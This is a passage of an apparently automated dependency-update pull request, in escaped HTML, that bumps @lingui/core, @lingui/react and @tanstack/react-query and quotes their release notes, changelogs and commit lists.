href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eformat-csv:\u003c/strong\u003e read catalogs that end with a line break (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2696\"\u003e#2696\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/c3b7838a4a8ab734ee8c48458ea67af9a72e7528\"\u003ec3b7838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e fail early when native transform is used with Solid (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2708\"\u003e#2708\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/15549f3cec626ab59eac1de00cccbbb56730c84f\"\u003e15549f3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e strip query from module id before native macro transform (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2703\"\u003e#2703\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/10c1b79b6b287983593946fb965b8b0b558b96c1\"\u003e10c1b79\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e write experimental extractor catalogs in worker pool (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2715\"\u003e#2715\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f7731f2a3e07145c45e2a62482ab3496302b5536\"\u003ef7731f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e use native macro transformer in experimental extractor (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2685\"\u003e#2685\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/71b439493cc351c8aa1df83a2e785afe3afed467\"\u003e71b4394\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e add native macro transformer (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2686\"\u003e#2686\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/2a576d324c222e318ae8ab5e49c57004ef675063\"\u003e2a576d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e resolve workers from caller source (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2682\"\u003e#2682\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/cac98805cec97dbd874fd5b90c5440143e26420d\"\u003ecac9880\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eformat-po-gettext:\u003c/strong\u003e write one msgstr per plural form of locale (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2690\"\u003e#2690\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/9f400ef68f5a19de0a893e638594425373d8dbd7\"\u003e9f400ef\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esolid:\u003c/strong\u003e match macro-accepted placeholder names in formatElements (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2687\"\u003e#2687\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f97cb9210cad63df10af3e921cefbbb30ed74857\"\u003ef97cb92\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/blob/main/packages/core/CHANGELOG.md\"\u003e@​lingui/core's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eruntime core macro (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2618\"\u003e#2618\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003ebd79e85\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/core\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/core\u003c/code\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/b0355f267ad4f8da71d6443fd37bc3f3836dd518\"\u003e\u003ccode\u003eb0355f2\u003c/code\u003e\u003c/a\u003e chore(release): published v6.10.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2724\"\u003e#2724\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003e\u003ccode\u003ebd79e85\u003c/code\u003e\u003c/a\u003e feat: runtime core macro (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2618\"\u003e#2618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e\u003ccode\u003e7fa9acd\u003c/code\u003e\u003c/a\u003e feat(core): add default global variables support to i18n instance (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2661\"\u003e#2661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/4d3390340b0e5700b2a18f60142f2ffa69e887a6\"\u003e\u003ccode\u003e4d33903\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.1 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2716\"\u003e#2716\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/8af2ec8543f1ad7934e1d5f6c2b6714218fd9a90\"\u003e\u003ccode\u003e8af2ec8\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/core/issues/2695\"\u003e#2695\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lingui/js-lingui/commits/v6.10.0/packages/core\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@lingui/react` from 6.8.0 to 6.10.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/releases\"\u003e@​lingui/react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev6.10.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e runtime core macro (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2618\"\u003e#2618\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/bd79e85d57d95669b4e3c05f624a9974897c42b9\"\u003ebd79e85\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/blog/2026/10/16/runtime-macro\"\u003eAnnouncement\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e) (\u003ca href=\"https://lingui.dev/ref/core#i18n.setvariables\"\u003eDocumentation\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e don't compile twice per change in watch mode without \u003ccode\u003e--debounce\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2722\"\u003e#2722\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/92c8622e68e6b94bd3ea4f241b7314d610c46e83\"\u003e92c8622\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eformat-csv:\u003c/strong\u003e read catalogs that end with a line break (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2696\"\u003e#2696\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/c3b7838a4a8ab734ee8c48458ea67af9a72e7528\"\u003ec3b7838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e fail early when native transform is used with Solid (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2708\"\u003e#2708\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/15549f3cec626ab59eac1de00cccbbb56730c84f\"\u003e15549f3\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e strip query from module id before native macro transform (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2703\"\u003e#2703\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/10c1b79b6b287983593946fb965b8b0b558b96c1\"\u003e10c1b79\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e write experimental extractor catalogs in worker pool (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2715\"\u003e#2715\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f7731f2a3e07145c45e2a62482ab3496302b5536\"\u003ef7731f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev6.9.0\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h2\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e use native macro transformer in experimental extractor (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2685\"\u003e#2685\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/71b439493cc351c8aa1df83a2e785afe3afed467\"\u003e71b4394\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003evite-plugin:\u003c/strong\u003e add native macro transformer (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2686\"\u003e#2686\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/2a576d324c222e318ae8ab5e49c57004ef675063\"\u003e2a576d3\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecli:\u003c/strong\u003e resolve workers from caller source (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2682\"\u003e#2682\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/cac98805cec97dbd874fd5b90c5440143e26420d\"\u003ecac9880\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eformat-po-gettext:\u003c/strong\u003e write one msgstr per plural form of locale (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2690\"\u003e#2690\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/9f400ef68f5a19de0a893e638594425373d8dbd7\"\u003e9f400ef\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003esolid:\u003c/strong\u003e match macro-accepted placeholder names in formatElements (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2687\"\u003e#2687\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/f97cb9210cad63df10af3e921cefbbb30ed74857\"\u003ef97cb92\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lingui/js-lingui/blob/main/packages/react/CHANGELOG.md\"\u003e@​lingui/react's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.1...v6.10.0\"\u003e6.10.0\u003c/a\u003e (2026-10-16)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ecore:\u003c/strong\u003e add default global variables support to i18n instance (\u003ca href=\"https://redirect.github.com/lingui/js-lingui/issues/2661\"\u003e#2661\u003c/a\u003e) (\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e7fa9acd\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.9.0...v6.9.1\"\u003e6.9.1\u003c/a\u003e (2026-10-09)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/react\u003c/code\u003e\u003c/p\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/lingui/js-lingui/compare/v6.8.0...v6.9.0\"\u003e6.9.0\u003c/a\u003e (2026-10-01)\u003c/h1\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e Version bump only for package \u003ccode\u003e@​lingui/react\u003c/code\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/b0355f267ad4f8da71d6443fd37bc3f3836dd518\"\u003e\u003ccode\u003eb0355f2\u003c/code\u003e\u003c/a\u003e chore(release): published v6.10.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2724\"\u003e#2724\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/7fa9acd777290d5f78e17935df21d976585433a2\"\u003e\u003ccode\u003e7fa9acd\u003c/code\u003e\u003c/a\u003e feat(core): add default global variables support to i18n instance (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2661\"\u003e#2661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/4d3390340b0e5700b2a18f60142f2ffa69e887a6\"\u003e\u003ccode\u003e4d33903\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.1 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2716\"\u003e#2716\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lingui/js-lingui/commit/8af2ec8543f1ad7934e1d5f6c2b6714218fd9a90\"\u003e\u003ccode\u003e8af2ec8\u003c/code\u003e\u003c/a\u003e chore(release): published v6.9.0 [skip ci] (\u003ca href=\"https://github.com/lingui/js-lingui/tree/HEAD/packages/react/issues/2695\"\u003e#2695\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lingui/js-lingui/commits/v6.10.0/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@tanstack/react-query` from 5.104.0 to 5.104.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/releases\"\u003e@​tanstack/react-query's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-persist-client-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/1f8d134ea3fa356072b40c69d5cd0227886b89bd\"\u003e\u003ccode\u003e1f8d134\u003c/code\u003e\u003c/a\u003e - Recompute \u003ccode\u003euseMutationState\u003c/code\u003e and \u003ccode\u003euseIsMutating\u003c/code\u003e results when their filters, selector, or query client change, without waiting for a mutation cache update.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/f608f933a36da30670082e90d0a56b2569290563\"\u003e\u003ccode\u003ef608f93\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-core\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11722\"\u003e#11722\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/0992a9291469d02d677f10a4994b1af0fdb8ac74\"\u003e\u003ccode\u003e0992a92\u003c/code\u003e\u003c/a\u003e - fix(react-query-devtools): create the devtools instance only once instead of on every render\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c8f5eac9df24c3cf987dc23865493ebd0d346caa\"\u003e\u003ccode\u003ec8f5eac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/b61abc2033f9e2fbf24d6753baedeaa74b2f1c17\"\u003e\u003ccode\u003eb61abc2\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-next-experimental\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ccode\u003e@​tanstack/react-query-persist-client\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/11728\"\u003e#11728\u003c/a\u003e \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e - fix(react-query*): declare '\u003ccode\u003e@​types/react\u003c/code\u003e' as an optional peer dependency\u003c/li\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/query/commit/c20886163a3759725cceafb421e864e7d213ec26\"\u003e\u003ccode\u003ec208861\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/query/commit/a10839824cecec8ea141330191c2e0ad0ae2b53f\"\u003e\u003ccode\u003ea108398\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.104.4\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query/CHANGELOG.md\"\u003e@​tanstack/react-query's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.104.5\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/TanStack/query/pull/12117\"\u003e#12117\u003c/a\u003e \u003ca 